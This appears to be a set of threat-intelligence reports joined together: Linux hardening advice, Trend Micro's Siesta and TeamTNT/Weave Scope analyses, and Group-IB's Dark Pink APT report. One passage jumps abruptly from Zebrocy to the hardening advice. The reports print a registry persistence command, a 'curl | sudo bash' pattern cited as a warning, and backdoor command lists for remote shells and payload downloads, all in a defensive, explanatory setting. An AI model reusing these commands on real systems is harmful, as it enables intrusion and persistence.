Zebrocy is custom malware that we have been tracking since 2015. The group using this malware started as a subset of Sofacy, but also has similarities and overlaps with other APT groups. The group has developed malware in several languages, including Delphi, AutoIT, .NET, C#, PowerShell, and Go. Zebrocy has mainly targeted Central Asian government-related organizations, both in-country and in remote locations. The group makes extensive use of spear phishing to compromise Windows endpoints. However, its backdoors are configured to communicate directly with IP-assigned web server hosts over port 80; and the group seems to favor Linux for this part of its infrastructure – specifically, Apache 2.4.10 running on Debian Linux.
## Recommendations for Protecting Linux Systems
One of the main reasons that Linux systems go unprotected is a false sense of security from using Linux instead of the far more popular (and more targeted) Windows. Nevertheless, we hope all the aforementioned points are convincing enough for you to start securing your Linux-based machines in a serious way.
The very first recommendation is to maintain a list of trusted sources of your software. Think about this in the same way as the recommended approach to Android or iOS apps – only installing applications from official repositories. In the Linux world, we enjoy more freedom: for example, even if you are using Ubuntu, you’re not restricted only to Canonical’s own repository. Any .DEB file, or even application source code from GitHub, is at your service. But please choose these sources wisely. Don’t just blindly follow instructions like “Run this script from our server to install”; or “curl https://install-url | sudo bash” – which is a security nightmare.
Please also be mindful of the secure way to get applications from these trusted repositories. Your channels to update the apps have to be encrypted using HTTPS or SSH protocols. Besides your trust in software sources and its delivery channel, it’s critical for updates to arrive in a timely fashion. Most modern Linux flavors are able to do this for you, but a simple cron script would help you to stay more protected and to get all the patches as soon as they are released by developers.
The next thing we would recommend is checking network-related settings. With commands like “netstat -a” you could filter out all unnecessary opened ports on your host. Please avoid network applications you really don’t need or don’t use to minimize your network footprint. Also, it would be strongly recommended to properly set up the firewall from your Linux distribution, to filter traffic and store the host’s network activity. It’s also a very good idea not to go online directly, but through NAT.
To continue with the network-related security rules, we recommend protecting your locally stored SSH keys (used for your network services) using passwords at least. In more “paranoid” mode you could even store the keys on external protected storage, like tokens from any trusted vendor. On the server side of connections, nowadays it’s not that hard to set up multi-factor authentication for SSH sessions, like the messages to your phone or other mechanisms such as authenticator apps.
So far, our recommendations have covered software sources, application delivery channel, avoiding unnecessary network footprint, and protection of encryption keys. One more idea we recommend for monitoring threats you couldn’t find at the filesystem level is to keep and analyze the network activity logs. You could install and use an out-of-band network tap to independently monitor and analyze the network communications of your Linux systems.
As part of your threat model, you need to consider the possibility that, despite all the aforementioned measures, attackers can compromise your protection. Think about the next protection step in terms of an attacker’s persistence in the system. They will probably make changes to be able to start their Trojan automatically after the system reboots. So, you need to regularly monitor the main configuration files as well as the integrity of system binaries, just in case of file viruses. The logs mentioned above for monitoring network communication are fully applicable here: the Linux auditing system collects system calls and file access records. Additional daemons such as “osquery” can be used for the same task. Any suspicious files, URLs, and IP addresses can be checked at Kaspersky Threat Intelligence Portal.
Physical security of devices is also important. It doesn’t matter how much attention you pay to network and system level hardening if your laptop ends up in an attacker’s hands and you haven’t taken steps to protect it from this attack vector. You should consider full disk encryption and safe boot mechanisms for physical security. A more spy-like approach would be to place tamper-evident security tape on your most critical hardware.
Dedicated solutions with Linux security can simplify the protection task: web threat protection detects malicious and phishing websites; network threat protection detects network attacks in incoming traffic; behavior analysis detects malicious activity, while device control allows management of connected devices and access to them.
Our final recommendation relates to Docker. This is not a theoretical threat: infection of containers is a very real issue. Containerization doesn’t provide security by itself. Some containers are quite isolated from the host, but not all – network and file system interfaces exist in them and in most cases there are bridges between physical and containerized worlds. Therefore, you can use a security solution that allows adding security into the development process. Kaspersky Hybrid Cloud Security includes integration with CI/CD platforms, such as Jenkins, through a script to scan Docker images for malicious elements at different stages. To prevent supply-chain attacks, On-Access Scanning (OAS) and On-Demand Scanning (ODS) of containers, images, and local and remote repositories can be used. Namespace monitoring, flexible mask-based scan scope control, and the ability to scan different layers of containers help to enforce secure development best practices.
We have broken down this list of recommendations into logical sections. Please bear in mind that, besides applying all the measures we have mentioned, you should also audit and check all the generated logs and any other messages regularly. Otherwise, you could miss signs of intrusion. A final idea, for security enthusiasts, is to adopt active measures – to provide system penetration testing from time to time.
## Summary of Recommendations
- Maintain a list of trusted software sources, avoid using unencrypted update channels.
- Do not run binaries and scripts from untrusted sources. A widely advertised way to install programs with commands like “curl https://install-url | sudo bash” is a security nightmare.
- Make sure your update procedure is effective. Set up automatic security updates.
- Spend time to set up your firewall properly: make sure it logs network activity, block all ports you don’t use, minimize your network footprint.
- Use key-based SSH authentication, protect keys with passwords.
- Use 2FA and store sensitive keys on external token devices (e.g., Yubikey).
- Use an out-of-band network tap to independently monitor and analyze network communications of your Linux systems.
- Maintain system executable file integrity. Review configuration file changes regularly.
- Be prepared for insider/physical attacks: use full disk encryption, trusted/safe boot, and put tamper-evident security tape on your critical hardware.
- Audit the system, check logs for indicators of attacks.
- Run penetration tests on your Linux setup.
- Use a dedicated security solution for Linux with web and network protection, as well as features for DevOps protection. |
# The Siesta Campaign: A New Cybercrime Operation Awakens
In the past few weeks, we have received several reports of targeted attacks that exploited various application vulnerabilities to infiltrate various organizations. Similar to the Safe Campaign, the campaigns we noted went seemingly unnoticed and under the radar. The attackers orchestrating the campaign we call the Siesta Campaign used multicomponent malware to target certain institutions that fall under the following industries:
- Consumer goods and services
- Energy
- Finance
- Healthcare
- Media and telecommunications
- Public administration
- Security and defense
- Transport and traffic
Threat actors don’t always rely on complex attack vectors to infiltrate an organization’s network. Attackers can also make use of basic social engineering techniques for their victims to take the bait, such as in our case study below.
## The Siesta Campaign: A Case Study
We are currently investigating an incident that involved attackers sending out spear-phishing emails addressed to executives of an undisclosed company. These emails were sent from spoofed email addresses of personnel within the organization. Instead of using attachments and document exploits, this specific campaign served their malware through a legitimate-looking file download link.
To lure the target into downloading the file, the attacker serves the archive under a URL path named after the target organization’s name as cited below:
```
http://{malicious domain}/{organization name}/{legitimate archive name}.zip
```
This archive contains an executable (TROJ_SLOTH) disguised as a PDF document. When executed, it drops and opens a valid PDF file, which was most probably taken from the target organization’s website. Along with this valid PDF file, another malicious component is also dropped and executed in the background.
This backdoor component is named google{BLOCKED}.exe. (Due to the ongoing investigation, we are unfortunately unable to share hashes and filenames at this time.) This backdoor connects to http://www.micro{BLOCKED}.com/index.html, which are its command-and-control (C&C) servers. Trend Micro identifies these samples as BKDR_SLOTH.B.
At this point, the malware begins waiting for additional commands from the attacker. The encrypted commands that are accepted are:
- **Sleep:** Commands the backdoor to sleep for a specified number of minutes. We have received a sleep command of “sleep:120” during our analysis which means that the malware will wait for 2 hours before establishing a connection again to the C&C server.
- **Download:** `<download_url>` Commands the backdoor to download and execute a file (most probably another Win32 executable) from a specified URL.
The C&C servers used in this campaign are found to be newly registered and also short-lived, making it difficult for us to track the malware’s behavior.
Based on our research, we found 2 variants of the malware used in this campaign. Although not exactly alike, the behaviors are nearly identical. One of the similar samples is a file named *Questionaire Concerning the Spread of Superbugs February 2014.exe* (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe). This sample drops the file UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of communicating to its C&C at skys{BLOCKED}com. These samples are identified by Trend Micro as BKDR_SLOTH.A.
Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, hence the campaign name “Siesta” (which means to take a short nap in Spanish). Commands are being served through HTML pages using different keywords as listed below:
### Variant 1
- prefix: “>SC<”
### Variant 2
- prefix: “longDesc=”
- suffix: “.txt”
Listed below are the backdoor commands we were able to see from our analysis:
#### Variant 1
- “run1” – open a remote shell
- “run2” – pipe shell commands from URL1
- “run3” – pipe shell commands from URL2
- “http” – pipe shell commands from C2
- “x_” – sleep for specified number of minutes
#### Variant 2
- “sleep:” – sleep for specified number of minutes
- “download:” – download and execute another executable from C2
## Attribution
Attribution of campaigns and attack methods can often be difficult. We were able to identify this new campaign through inspecting hashes, C&Cs, registrants, commands, and additional information.
During the course of our investigation into this new campaign, we investigated the malware dropped. We quickly noticed the registrant of sky{BLOCKED}.com is also the same registrant as micro{BLOCKED}.com and ifued{BLOCKED}.net. This individual used the name Li Ning and others with an email address of xiaomao{BLOCKED}@163.com. This individual also recently registered 79 additional domains. There are a total of roughly 17,000 domains registered with this same email address.
## Conclusion
Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data. Organizations and large enterprises need an advanced threat protection platform like Trend Micro™ Deep Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies and global threat intelligence. At the heart of our Custom Defense solution is Deep Discovery which provides real-time local and global intelligence across the attack life cycle. This can help IT administrators understand the nature of the attack they are dealing with.
Trend Micro blocks all related threats, emails, and URLs associated with these attacks. As always, we advise users to exercise caution when opening emails and links.
With additional insights and analysis from Kervin Alintanahin, Dove Chiu, and Kyle Wilhoit. |
# Analyzing How TeamTNT Used Compromised Docker Hub Accounts
Cloud
Following our previous disclosure of compromised Docker Hub accounts delivering cryptocurrency miners, we analyze these accounts and discover more malicious actions that you need to be aware of.
In early November, we disclosed that compromised Docker Hub accounts were being used for cryptocurrency mining and that these activities were tied to the TeamTNT threat actor. While those accounts have now been removed, we were still able to investigate TeamTNT’s activities in connection with these compromised accounts.
In addition to the behavior we noted earlier, we identified several other actions that the same threat actor carried out in different venues. One was the use of Weave Scope, a legitimate tool by Weaveworks used to monitor/control deployed containers.
**Weave Scope**
Weave Scope is a visualization and monitoring tool for Docker and Kubernetes. System administrators can use this to monitor and control their deployed containers/pods/workloads. One can manage running containers by executing, rebooting, pausing, stopping, or even deleting containers, all of which can be controlled from a web console (either local or in the cloud).
In this attack scenario, the compromised underlying host was made a node of the threat actor-controlled Weave Scope Cloud instance, from where they could execute various commands.
The administration features make Weave Scope an interesting target. This is how attackers targeted this recently:
1. The attacker spins up a new privileged container based on an image from a compromised account. In the arguments, the attacker attempts to mount the root file system of the underlying host to the ‘/host’ mount point and executes a bash script fetched from the attacker’s infrastructure.
2. The script ‘scope2.sh’ is downloaded and piped to ‘bash’ to be executed. The script initially checks if the hostname’s value is ‘HaXXoRsMoPPeD’, halting the execution if true. This looks like a flag to check if a system has already been compromised.
3. Environment variables are set, which overrides localization settings, prevents command history logging, and exports a new path.
4. A variable ‘SCOPE_TOKEN’ is populated from a controlled endpoint, which contains the Weave Scope service token. ‘SCOPESHFILE’ contains the Weave Scope script, which is encoded in base64.
5. The path to ‘docker’ binary is fetched using ‘type docker’. To evade any TTY events, they’re redirected to ‘/dev/null’. Based on this, the execution proceeds.
6. The file ‘/tmp/.ws’ is checked:
- If the file doesn’t exist, the following commands are executed:
- The ‘/tmp/’ path is remounted with read-write permissions using the ‘mount’ utility.
- The base64 encoded string of the ‘SCOPESHFILE’ variable is decoded and the output is redirected to ‘/tmp/.ws’. This is the Weaveworks’ script and is hidden by default since the file name begins with a ‘.’.
- The permissions of the newly created script are changed to executable using ‘chmod’.
- If the file ‘/tmp/.ws’ exists, then execution proceeds as follows:
- The ‘/tmp/’ path is remounted as read-write using ‘mount’ utility.
- The Weaveworks utility Weave Scope at /tmp/.ws is stopped and launched with the service token fetched in step 4.
Weaveworks published a blog post in September 2020 that shared best practices for securing Weave Scope. Unfortunately, the abuse of this legitimate tool is still quite prevalent.
**Trend Micro Solutions**
When a new container is created over Docker daemon’s REST API, the rule ‘1010326 – Identified Docker Daemon Remote API Call’ triggers with different notes for different steps of the container creation from image. Events are generated when the 'containerd’ process is created and are logged using the Integrity Monitoring module.
When the Docker Daemon is observed listening on TCP port, the Log Inspection module detects this. The AntiMalware Module detects the malicious script ‘scope2.sh’ as a Trojan:
**Intrusion Prevention**
1. 1010326 - Identified Docker Daemon Remote API Call
2. 1010561 - Identified Kubernetes Unprotected Primary Channel Information Disclosure
3. 1010762 - Identified Kubernetes API Server LoadBalancer Status Patch Request
4. 1010769 - Identified Kubernetes Namespace API Requests
5. 1009493 - Kubernetes Dashboard Authentication Bypass Information Disclosure Vulnerability (CVE-2018-18264)
6. 1009450 - Kubernetes API Proxy Request Handling Privilege Escalation Vulnerability (CVE-2018-1002105)
7. 1009561 - Kubernetes API Server Denial of Service Vulnerability (CVE-2019-1002100)
**Log Inspection**
1. 1009105 – Kubernetes
2. 1008619 - Application – Docker
3. 1010349 - Docker Daemon Remote API Calls
**Integrity Monitoring**
1. 1008271 – Application - Docker
2. 1009060 - Application - Kubernetes Cluster master
3. 1009434 - Application - Kubernetes Cluster node
**Cloud One Network Security™**
The following rules are triggered by this attack in Network Security:
- 29993: HTTP: Docker Container With Root Directory Mounted with Write Permission Creation Attempt
- 33719: HTTP: Docker Daemon "create/exec" API with "Cmd" Key Set to Execute Shell Commands
- 33905: HTTP: Kubernetes API Proxy Request Handling Privilege Escalation Vulnerability
- 34487: HTTP: Kubernetes Dashboard Authentication Bypass Vulnerability
- 34488: HTTPS: Kubernetes Dashboard Authentication Bypass Vulnerability
- 34668: HTTP: Docker Build Image API Request with remote and networkmode Parameters Set
- 34796: HTTP: Docker Version API Check Request
- 35799: HTTP: Kubernetes Overlength json-patch Request
- 38836: HTTP: Kubernetes API Namespaces Request
- 38837: HTTP: Kubernetes API Namespaces Status Request
- 38838: HTTP: Kubernetes API Create Namespace Request
- 38839: HTTP: Kubernetes API Delete Namespace Request
- 38840: HTTP: Kubernetes API Update Namespace Request
- 38847: HTTP: Kubernetes API Server loadBalancer Status Patch Request
- 38892: HTTP: Kubernetes API Admission Control Create Mutating Webhook Request
- 38893: HTTP: Kubernetes API Admission Control Create Validating Webhook Request
- 38896: HTTP: Kubernetes API Admission Control Resources Request
- 38898: HTTP: Kubernetes API Admission Control List Mutating Webhook Configurations Request
- 38899: HTTP: Kubernetes API Admission Control List Validating Webhook Configurations Request
- 38901: HTTP: Kubernetes API Admission Control Delete Validating Webhook Request
- 38902: HTTP: Kubernetes API Admission Control Delete Mutating Webhook Request
- 38903: HTTP: Kubernetes API Admission Control Update Validating Webhook Request
- 38904: HTTP: Kubernetes API Admission Control Update Mutating Webhook Request
- 38905: HTTP: Kubernetes API Admission Control Read Mutating Webhook Request
- 38906: HTTP: Kubernetes API Admission Control Read Validating Webhook Request
- 38907: HTTP: Kubernetes API Admission Control Replace Mutating Webhook Request
- 38908: HTTP: Kubernetes API Admission Control Replace Validating Webhook Request
- 38909: HTTP: Kubernetes API CustomResourceDefinition Resources Request
- 38910: HTTP: Kubernetes API Create CustomResourceDefinition Request
- 38916: HTTP: Kubernetes API List CustomResourceDefinition Resources Request
- 38917: HTTP: Kubernetes API Update CustomResourceDefinition Resources Request
- 38918: HTTP: Kubernetes API Update Status CustomResourceDefinition Resources Request
- 38919: HTTP: Kubernetes API Read CustomResourceDefinition Resources Request
**Conclusion**
Vulnerabilities posed by poor security misconfigurations or inherent software bugs are difficult to protect. In the above case, we observed the use of legitimate platforms like Weaveworks. To stay protected, we need to rethink about inculcating security in our daily work by regular patching, staying updated and alerted with the latest happenings in cyberspace.
Trend Micro™ Cloud One™ – Workload Security equips defenders and analysts with the ability to protect systems against vulnerabilities, exploits, and malware, offering protection from on-premise to cloud workloads. Virtual patching can protect critical systems even before the official patches are made available.
Trend Micro™ Vision One™ provides a clear view of the most important events as alerts in a concise manner, because the race is about quick response. With XDR capabilities with telemetries from your multi-cloud environments or on-premise workloads, security teams get a clear and vivid understanding of what to prioritize.
**Indicators Of Compromise**
**IP address**
45.9.148[.]182
**Domain**
dl[.]chimaera.cc
**Shell scripts**
**Hash** | **Detection Name**
7c110dc507ed4e2694500c7c37fe9176e9f4db23bc4753c0bfc9f3479eb6385a | Trojan.SH.MALXMR.UWELG
b7cef848b61cfb7d667e60ade3a1781def69f5395b5ad6a2a16f7b7fa11ef1db | Trojan.Win32.FRS.VSNW0CK21 |
# Dark Pink APT Unleashes Malware for Deeper and More Sinister Intrusions in the Asia-Pacific and Europe
## Acknowledgements
We would like to specifically thank Albert Priego, Malware Analyst at Group-IB, for discovering the first Dark Pink attacks and for conducting the initial research into this particular threat actor. His efforts made a major contribution to this blog and for our future research into this APT group.
## Introduction
Countries of the Asia-Pacific region have long been the target of advanced persistent threat (APT) groups. Earlier Group-IB research found that this region has often been a “key arena” of APT activity, and a mixture of nation-state threat actors from China, North Korea, Iran, and Pakistan have been tied to a wave of attacks in the region. More often than not, the primary motive for APT attacks in the Asia-Pacific (APAC) region is not financial gain, but rather espionage.
Group-IB continuously explores and analyzes the methods, tools, and tactics used by some of the world’s most prominent APT groups, such as APT41, but how can large-scale companies and organizations protect themselves when a new APT group emerges, or if an already existing APT group begins to utilize a completely new toolkit? Enter Dark Pink.
Dark Pink is the name given by Group-IB to a new wave of APT attacks that has struck the APAC region. At the present time, Group-IB cannot attribute the campaign to any known threat actor, making it highly likely that Dark Pink is an entirely new APT group. Bearing this in mind, we will refer to Dark Pink as an APT group throughout the entirety of this text. The name Dark Pink was coined by forming a hybrid of some of the email addresses used by the threat actors during data exfiltration. The APT group has also been termed Saaiwc Group by Chinese cybersecurity researchers.
There is evidence to suggest that Dark Pink began operations as early as mid-2021, although the group’s activity surged in mid-to-late 2022. To date, Group-IB’s sector-leading Threat Intelligence uncovered seven confirmed attacks by Dark Pink. The bulk of the attacks were carried out against countries in the APAC region, although the threat actors spread their wings and targeted one European governmental ministry. The confirmed victims include two military bodies in the Philippines and Malaysia, government agencies in Cambodia, Indonesia, and Bosnia and Herzegovina, and a religious organization in Vietnam. Group-IB also became aware of an unsuccessful attack on a European state development agency based in Vietnam. In line with Group-IB’s zero tolerance policy to cybercrime, confirmed and potential victims of Dark Pink were issued proactive notifications, and we note that the list of companies breached by this particular APT group is likely to be longer.
Group-IB’s early research into Dark Pink has revealed that these threat actors are leveraging a new set of tactics, techniques, and procedures rarely utilized by previously known APT groups. They leverage a custom toolkit, featuring TelePowerBot, KamiKakaBot, and Cucky and Ctealer information stealers (all names dubbed by Group-IB) with the aim of stealing confidential documentation held on the networks of government and military organizations. Of particular note is Dark Pink’s ability to infect even the USB devices attached to compromised computers, and also its ability to gain access to messengers on infected machines. Furthermore, Dark Pink threat actors utilize two core techniques: DLL Side-Loading and executing malicious content triggered by a file type association (Event Triggered Execution: Change Default File Association). The latter of these tactics is one rarely seen utilized in the wild by threat actors.
At the time of writing, Dark Pink is still active. Given the fact that many of the attacks identified by Group-IB researchers took place in the final months of 2022, Group-IB researchers are still in the process of identifying the full scope of the APT attack, and efforts to uncover the origin of this APT group are in process. However, we believe that this preliminary research, which will be of great interest to CISOs, heads of cybersecurity teams, SOC analysts, and incident response specialists, will go a long way to raising awareness of the new TTPs utilized by this threat actor and help organizations to take the relevant steps to protect themselves from a potentially devastating APT attack.
## Key Findings
- Dark Pink launched seven successful attacks against high-profile targets between June and December 2022.
- Dark Pink’s first activity, which we tie to a Github account leveraged by the threat actors, was recorded in mid-2021, and the first attack attributable to this APT group took place in June 2022. Their activity peaked in the final three months of 2022 when they launched four confirmed attacks.
- Dark Pink’s victims are located in five APAC countries (Vietnam, Malaysia, Indonesia, Cambodia, Philippines) and one European country (Bosnia and Herzegovina).
- Victims included military bodies, government and development agencies, religious organizations, and a non-profit organization.
- One unsuccessful attack was launched against a European state development agency based in Vietnam in October 2022.
- Dark Pink APT’s primary goals are to conduct corporate espionage, steal documents, capture the sound from the microphones of infected devices, and exfiltrate data from messengers.
Dark Pink’s core initial vector was targeted spear-phishing emails that saw the threat actors pose as job applicants. There was evidence to suggest that the threat actors behind Dark Pink scanned online job vacancy portals and crafted unique emails to victims that were advertising vacancies. Almost all the tools leveraged by the threat actors were custom and self-made, including TelePowerBot and KamiKakaBot, along with the Cucky and Ctealer stealers. During our investigation, we noticed only one public tool: PowerSploit/Get-MicrophoneAudio.
Dark Pink APT utilized a rarely seen technique, termed Event Triggered Execution: Change Default File Association, to ensure the launch of malicious TelePowerBot malware. Another technique leveraged by these particular threat actors was DLL Side-Loading, which they used to avoid detection during initial access. The threat actors created a set of PowerShell scripts to carry out communication between victim and threat actors’ infrastructure, facilitate lateral movement, and network reconnaissance. All communication between infected infrastructure and the threat actors behind Dark Pink is based on Telegram API.
## Dark Pink Takes on All Comers
The attacks carried out by this particular APT group have been advanced in every sense of the word. They have utilized a sophisticated mixture of custom tools to breach the defenses of multiple government and military organizations. The first attack Group-IB analysts were able to attribute to this APT group was registered on a religious organization in Vietnam in June 2022. However, they appear to have been active well before that, as Group-IB researchers identified a Github account used by these threat actors which showed activity dating back to mid-2021. According to our research, the malware initialized by the threat actors can issue commands for an infected machine to download modules from this particular Github account. Interestingly, the threat actors appeared to use only one Github account for the entire duration of the campaign to date, which could suggest that they have been able to operate without detection for a significant period of time.
Following the June 2022 attack, Group-IB researchers were unable to attribute any other malicious activity to Dark Pink. However, this APT group burst into life towards the end of the summer, when Group-IB noticed an attack on a Vietnamese non-profit organization in August 2022 bearing all the hallmarks of the June attack. From then, Group-IB was able to attribute one attack in September, two attacks (one successful, one unsuccessful) in October, two in November, and one in December. Most recently, Group-IB discovered that Dark Pink was able to breach an Indonesian governmental organization on December 8, 2022.
## Kill Chain
The sophistication of the Dark Pink campaign is evidenced by its multiple distinct kill chains. The threat actors behind this wave of attacks were able to craft their tools in several programming languages, giving them flexibility as they attempted to breach defense infrastructure and gain persistence on victims’ networks. As a result, we will discuss the different steps and stages of these processes, but it is important to note that the bulk of the attacks were based on PowerShell scripts or commands that aimed to launch communication between the infected networks and the threat actors’ infrastructure.
Initial access was achieved by successful spear-phishing emails. These messages contained a shortened link directing the victim to download a malicious ISO image, which in one case seen by Group-IB, was stored on the public, free-to-use sharing service MediaFire. Once the ISO image was downloaded by the victims, Group-IB identified three distinct infection chains.
The first thing that caught our attention was that all communication between the devices of the threat actors and the victims was based on Telegram API. The custom modules created by the threat actors, TelePowerBot and KamiKakaBot, are designed to read and execute commands via a threat actor-controlled Telegram bot. Interestingly, these modules were developed in different programming languages. TelePowerBot is represented as a PowerShell script, while KamiKakaBot, which includes stealer functionalities, is developed on .NET. The threat actors have used the same Telegram bots for a long period of time, as one has been used since September 2021.
Additionally, Dark Pink APT utilizes the self-made stealers Ctealer and Cucky to steal victim credentials from web browsers. We will look at each of the above-mentioned tools later in this report. At this stage, we will turn to detailing each step of the infection chain.
### Initial Access
A large part of the success of Dark Pink was down to the spear-phishing emails used to gain initial access. In one such attack, Group-IB was able to find the original email sent by the threat actors. In this one instance, the threat actor posed as a job applicant applying for the position of PR and Communications intern. In the email, the threat actor mentions that they found the vacancy on a jobseeker site, which could suggest that the threat actors scan job boards and use this information to create highly relevant phishing emails.
The emails contain a shortened URL linking to a free-to-use file sharing site, where the victim is presented with the option to download an ISO image that contains all the files needed for the threat actors to infect the victim’s network. During our investigation into Dark Pink, we discovered that the threat actors leveraged several different ISO images, and we also noted that the documents contained in these ISO images varied from case to case. According to the information available to us, we strongly believe that the Dark Pink threat actors craft a unique email to each victim, and we do not discount that the threat actors can send the malicious ISO image as a direct attachment to the victim via email.
The ISO images sent in the spear-phishing emails contained varying numbers of files. However, there are three types of file found in all of the ISO images sent by the threat actors: a signed executable file, a nonmalicious decoy document (e.g., .doc, .pdf, or .jpg), and a malicious DLL file. Given that the email relates to a job opening, one can assume that the victim will first look for the supposed applicant’s resume, which is often sent as a MS Word document. However, in Dark Pink attacks, the threat actors include an .exe file in the ISO image that mimics a MS Word file. The file contains “.doc” in the file name and contains the MS Word icon as a means of confusing the victim and thinking that the file is safe to open.
Should the victim execute the .exe file first, the malicious DLL file, located in the same folder as the .exe file, will run automatically. This is a technique used by threat actors known as DLL Side-Loading. The primary function of the DLL execution is to ensure that the threat actors’ core malware, TelePowerBot, gains persistence. Before the completion of the file execution, the decoy document (e.g., a letter, resume) is shown on the victim’s screen.
### Trojan Execution and Persistence
One of the most interesting discoveries for Group-IB researchers was the process of how TelePowerBot or KamiKakaBot are launched on the victim’s machine. As mentioned previously, the malicious DLL file that contains one of these two pieces of malware can be located inside the ISO image that is sent during spear-phishing campaigns. In one case analyzed by Group-IB, the threat actors used a chain of MS Office documents and leveraged Template Injection, whereby the threat actors insert into the initial document a link to a template document that contains a malicious macro code. In two other cases examined by Group-IB researchers, the threat actors behind Dark Pink launched their malware by the DLL Side-Loading technique. In total, we found three different kill chains leveraged by the threat actors.
### Kill Chain 1: All-Inclusive ISO
The first variant of the infection chain results in an ISO image being sent to the victim through spear-phishing emails. This ISO image includes a malicious DLL file, which contains TelePowerDropper (name given by Group-IB). The primary goal of this DLL file is to gain persistence for TelePowerBot in the registry of the infected machine. In some cases, the DLL file can also launch the threat actors’ proprietary stealer, which parses data from browsers on the victim’s machine and stores it in a local folder. It is important to note that launching any kind of stealer is optional during initial access. Dark Pink can send special commands to download and launch a stealer during all phases of attack.
It is important to note at this stage that the DLL files are packed. When the file is launched, it decrypts itself and passes control to an unpacked version of itself. Additionally, once the DLL file is launched, a mutex will be created. One example of this was: gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5. Upon completion of this step, a command to start TelePowerBot will be added to autorun. This means that TelePowerBot will be launched each time the user logs into their system. This is facilitated by creating a registry key by path HKCU\Environment\UserInitMprLogonScript. The value of the created key is as follows:
```
forfiles.exe /p %system32% /m notepad.exe /c "cmd.exe /c whoami >> %appdata%\a.abcd && %appdata%\a.abcd && exit"
```
The above code reveals that the command launches a standard utility, whoami, which shows information about the current user of the machine. The output is redirected to a file and execution is finished.
At this point, it might not be entirely clear how the next stage, and the launching of TelePowerBot, begins. The key to this answer is the file extension .abcd. In short, the threat actors create a file with this extension name as part of a technique termed Event Triggered Execution: Change Default File Association. The idea is to add a handler to work with the unrecognized file extension in the registry key tree.
### Kill Chain 2: Github Macros
The second variation of the infection chain is almost identical to the preceding one. The only thing that differs is the file used in the initial stage. During our analysis, we discovered that the threat actors used commands to automatically download a malicious template document containing TelePowerBot from Github upon opening of the .doc contained in the initial ISO file. Macro code written into this template document then works to ensure persistence for the malware.
In this instance, the ISO image sent to the victims contains a MS Word document that leads to the automatic download of a malicious template document, which contains TelePowerBot, from Github. In order to evade antivirus defenses on an infected machine during initial access, macro code is written into the template document. This technique is known as Template Injection. The macro contains several forms with fields, and during execution, the value of these form fields are read and established as a value in registry keys.
This trick can help the malware avoid detection by antivirus software, as the document itself does not contain any malicious functionalities or code. The coded documents contain forms with several parameters, and the macros contained in these files can read these values and work to ensure persistence of TelePowerBot on the victim’s machine.
### Kill Chain 3: X(ML) Marks the Spot
The third and final kill chain variant that we will detail is one that was used in the most recent Dark Pink attack analyzed by Group-IB, which saw the threat actors breach the network of an Indonesian government agency on December 8, 2022. The ISO image sent to the victim in a spear-phishing email contained decoy documents, a signed legitimate MS Word file, and a malicious DLL named KamiKakaDropper. The primary goal of this infection vector is to persist KamiKakaBot on infected machines. In this kill chain, an XML file is located at the end of the decoy document in encrypted view. The malicious DLL file is, as in Kill Chain 1, launched by the DLL Side-Loading technique. Once the DLL file is launched, the XML file that kicks off the next stage of the kill chain will be decrypted from the decoy document and saved in the infected machine.
The XML file contains an MSBuild project that includes a task to execute .NET code. To find more about how this process works, please refer to the following Microsoft documentation. The logic of the .NET code is simple: launch KamiKakaBot, which itself is located in the XML file (packed and encoded in base64 format). After this file is unpacked, control is passed to KamiKakaBot.
## Reconnaissance and Lateral Movement
After infecting a computer in the victim organization’s network, the next goal for Dark Pink is to collect as much information as possible about the victim’s network infrastructure. From our analysis, we see that the threat actors are interested in the following:
- Information from standard utility, e.g., output of standard utility systeminfo.
- Information from web browsers.
- Installed software, including antivirus solutions.
- Information about connected USB devices and network sharing.
The threat actors also collect a list of network and USB drives that are available for writing, and these are then used for lateral movement. Next, instead of the original file, the attack sees the creation of a LNK file (Windows shortcut) with a command to launch TelePowerDropper. At this stage, the original files are hidden from the user.
One of the most interesting revelations of our investigation into Dark Pink was how the threat actors carry out lateral movement over USB devices. For this, a new WMI event handler is registered. From this point onwards, each time a USB flash drive is plugged into an infected machine, a specific action will be executed that sees TeleBotDropper downloaded and stored on the flash drive. Let’s analyze this process a little deeper.
1. Victim plugs USB flash drive into infected device.
2. The WMI event is triggered, and results in the automatic download of a .ZIP archive from the threat actors’ Github account. There are three files inside this archive: Dism.exe, Dism.sys, and Dismcore.dll. The first of these files is a legitimate file with a valid digital signature. The functionality of the DLL file is to unpack the original executable from file Dism.sys.
3. Archive is extracted to %tmp% folder. The files are then copied to the USB device, where a new folder named “dism” is created. The folder attribution is changed to hidden and system.
4. A file named system.bat is created, containing a command to launch Dism.exe.
5. Finally, as many LNK files are created as there are folders on the USB drive. The attributes of the original folder are changed to hidden and system. A LNK file is created with a command to open the hidden folder in explorer.exe and launch system.bat.
Following this process, the user will see LNK files bearing the same name as folders found on the USB device. Once the user opens this malicious LNK file, TeleBotDropper will be launched by the DLL Side-Loading technique. As a result, the commands, which read registry key, decrypt, and launch TelePowerBot, are then transferred to a new machine. It is imperative to remember that this solution works if there is only one folder on the USB device. This is why we observed different implementations, for example, the creation of LNK files instead of .pdf files (not only for folders) on USB devices. An example of how this works in more detail is provided in APPENDIX B. The mechanism of creating LNK files in place of the original files is also used for network sharing.
## Data Exfiltration
As is the case with many other attacks of this kind, the threat actors exfiltrate data through ZIP archives. During Dark Pink attacks, all data (list of files from common network shares, web browser data, documents, etc.) that is to be sent to the threat actors is stacked in the $env:tmp\backuplog folder. However, the collection and sending process operate separately from one another. When the infected machine is issued a command to download the $env:tmp\backuplog folder, the list of files will be copied to $env:tmp\backuplog1 folder, added to archive, and sent to the threat actors’ Telegram bot. After this step is completed, the $env:tmp\backuplog1 directory is deleted.
Dark Pink threat actors can also leverage their self-made stealers Cucky and Ctealer to draw data from infected machines. The functionalities of both of these stealers are the same. They can be used to extract data such as passwords, history, logins, and cookies from web browsers. The stealers themselves do not require any internet connection, as they save the result of the execution (stolen data) to files. Both of the stealers can be downloaded from the threat actors’ Github account automatically by commands issued by the malware. An example of the script used to launch Cucky is shown in APPENDIX C.
